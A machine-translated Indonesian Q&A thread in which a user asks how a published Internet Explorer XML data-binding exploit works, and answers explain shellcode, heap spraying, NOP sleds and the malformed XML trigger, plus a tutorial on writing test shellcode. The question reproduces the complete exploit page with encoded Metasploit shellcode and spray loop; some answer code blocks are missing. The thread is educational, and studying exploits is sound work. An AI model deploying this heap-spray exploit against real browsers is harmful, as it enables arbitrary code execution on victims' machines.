Saya biasanya tidak mengalami kesulitan untuk membaca kode JavaScript tetapi untuk yang ini saya tidak tahu logikanya. Kode ini berasal dari exploit yang telah diterbitkan 4 hari yang lalu. Anda dapat menemukannya di milw0rm .
Ini kodenya:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
Inilah yang saya yakini berfungsi dan saya ingin Anda membantu saya untuk bagian yang saya salah pahami.
Variabel shellcode
berisi kode untuk membuka calc.exe
. Saya tidak mengerti bagaimana mereka menemukan string aneh itu. Ada ide?
Yang kedua adalah variabel spray
. Saya tidak mengerti lingkaran aneh ini.
Yang ketiga adalah variabel memory
yang tidak pernah digunakan di mana pun. Mengapa mereka membuatnya?
Hal terakhir: apa yang dilakukan tag XML di halaman?
Untuk saat ini saya punya jawaban yang bagus tetapi sebagian besar sangat umum. Saya ingin penjelasan lebih lanjut tentang nilai kode. Contohnya adalah unescape("%u0a0a%u0a0a");
. Apa artinya? Hal yang sama untuk loop: mengapa pengembang menulis: length < 0xd0000
? Saya ingin pemahaman yang lebih dalam, tidak hanya teori kode ini.
sumber
Jawaban:
Shellcode berisi beberapa instruksi perakitan x86 yang akan melakukan exploit aktual.
spray
menciptakan urutan panjang instruksi yang akan dimasukkanmemory
. Karena kami biasanya tidak dapat mengetahui lokasi pasti dari shellcode kami di memori, kami menaruh banyaknop
instruksi sebelumnya dan melompat ke suatu tempat di sana. Thememory
array akan memegang kode x86 yang sebenarnya bersama dengan mekanisme melompat. Kami akan memberi makan XML buatan ke perpustakaan yang memiliki bug. Ketika sedang diuraikan, bug akan menyebabkan register pointer instruksi ditugaskan ke suatu tempat di exploit kami, yang mengarah ke eksekusi kode arbitrer.Untuk memahami lebih dalam, Anda harus mencari tahu apa yang ada di kode x86.
unscape
akan digunakan untuk menempatkan urutan byte yang diwakili dari string dalamspray
variabel. Ini kode x86 yang valid yang mengisi tumpukan besar dan melompat ke awal shellcode. Alasan untuk kondisi akhir adalah keterbatasan panjang string dari mesin scripting. Anda tidak dapat memiliki string lebih besar dari panjang tertentu.Dalam perakitan x86,
0a0a
wakilior cl, [edx]
. Ini secara efektif setara dengannop
instruksi untuk tujuan eksploitasi kita. Di mana pun kita melompat kespray
, kita akan sampai ke instruksi berikutnya sampai kita mencapai shellcode yang merupakan kode yang sebenarnya ingin kita jalankan.Jika Anda melihat XML, Anda akan lihat
0x0a0a
juga di sana. Menjelaskan dengan tepat apa yang terjadi memerlukan pengetahuan khusus tentang eksploitasi (Anda harus tahu di mana bug itu dan bagaimana bug itu dieksploitasi, yang saya tidak tahu). Namun, tampaknya kami memaksa Internet Explorer untuk memicu kode buggy dengan mengaturinnerHtml
string XML berbahaya itu. Internet Explorer mencoba untuk menguraikannya dan kode kereta entah bagaimana memberikan kontrol ke lokasi memori di mana array ada (karena itu adalah bongkahan besar, kemungkinan melompat di sana tinggi). Ketika kita melompat ke sana, CPU akan terus menjalankanor cl, [edx]
instruksi sampai mencapai awal shellcode yang dimasukkan ke dalam memori.Saya telah membongkar shellcode:
Memahami shellcode ini membutuhkan pengetahuan rakitan x86 dan masalah di pustaka MS itu sendiri (untuk mengetahui kondisi sistem saat kami sampai di sini), bukan JavaScript! Kode ini pada gilirannya akan dieksekusi
calc.exe
.sumber
Ini terlihat seperti eksploitasi bug Internet Explorer baru - baru ini yang dirilis Microsoft untuk patch darurat. Ini menggunakan cacat dalam fitur penyatuan data dari Microsoft XML handler, yang menyebabkan memori tumpukan tidak dapat dialokasikan dengan benar.
Shellcode adalah kode mesin yang akan berjalan ketika bug terjadi. Semprotan dan memori hanyalah beberapa ruang yang dialokasikan pada tumpukan untuk membantu kondisi yang dapat dieksploitasi terjadi.
sumber
Heap Spraying adalah cara umum untuk mengeksploitasi hal-hal browser, jika Anda tertarik, Anda dapat menemukan beberapa posting seperti ini: http://sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html
sumber
Setiap kali saya melihat memori yang tidak dibahas dalam diskusi exploit, pikiran pertama saya adalah exploit adalah semacam buffer overflow, dalam hal ini memori yang menyebabkan buffer overflow atau sedang diakses setelah buffer overflow .
sumber
Ini dari metasploit, itu artinya menggunakan salah satu kode shell metasploit. Ini open source sehingga Anda bisa pergi dan mengambilnya: http://www.metasploit.com/
sumber
Lihat penyandian karakter dalam HTML .
Ini data biner yang dikodekan sebagai string, yang didekodekan oleh JavaScript.
Bentuk umum XSS juga.
Anda dapat melihat semua trik penyandian di sini:
http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
sumber
Contoh shellcode sederhana
Halo dunia dalam perakitan di & t sintaks x86 saya percaya (Wizard dalam Pelatihan).
mengatur file:
vim shellcodeExample.s
kompilasi seperti ini:
as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o
Sekarang Anda memiliki biner yang mencetak hello world. untuk mengubah biner menjadi tipe kode shell di:
objdump -D shellcode
Anda akan mendapatkan output:
Sekarang jika Anda melihat pada baris ke-4 dengan teks Anda akan melihat:
400078: eb 1a jmp 0x400094
bagian yang mengatakan
eb 1a
adalah representasi heksadesimal dari instruksi perakitan dijmp one
mana "satu" adalah alamat memori dari string Anda.untuk menyiapkan shellcode Anda untuk dieksekusi, buka file teks lain dan simpan nilai hex dalam array karakter. Untuk memformat kode shell dengan benar Anda mengetikkan
\x
sebelum setiap nilai hex.contoh kode shell yang akan datang akan terlihat seperti berikut sesuai dengan output perintah objdump:
Contoh ini menggunakan C untuk array. Sekarang Anda memiliki shellcode yang berfungsi yang akan menulis ke stdout "hello world"
Anda dapat menguji kode shell dengan meletakkannya di kerentanan atau Anda dapat menulis program c berikut untuk mengujinya:
Untuk mengkompilasi jenis program di:
Jalankan dengan
./run
Anda tahu memiliki contoh kerja pengembangan shellcode sederhana yang diuji di linux mint / debian.sumber
int 0x80
ABI 32-bit dalam kode 64-bit. Ini akan gagal untuk string pada stack, karena kernel hanya melihat 32 bit yang rendah dari syscall args. Apa yang terjadi jika Anda menggunakan ABI 32-bit int 0x80 Linux dalam kode 64-bit? . (Dalam hal ini Anda akan membuat loop tak terbatas, karenasys_write
akan kembali-EFAULT
, danmov $1, %al
akan membiarkan bit atas diatur, sehingga Anda mendapatkan-ENOSYS
alih-alih sys_exit). Juga, dalam kode 64-bit Anda bisajmp
meneruskan string dan menggunakan RIP-relatiflea
untuk mendapatkan alamat, bukan panggilan / pop.const char payload[]
maka akan berada di segmen teks (di bagian .rodata) dan Anda tidak perlu-z execstack
.)movl 4, %rax
berisi byte nol (dan tidak akan berkumpul karena ketidaksesuaian ukuran operan, dan tidak ada$
sehingga 4 adalah alamat absolut). Saya pikir Anda memposting versi awal sumber Anda. Komentar saya sebelumnya berasal dari melihat pembongkaran di mana Anda menambahkansys_exit
panggilan.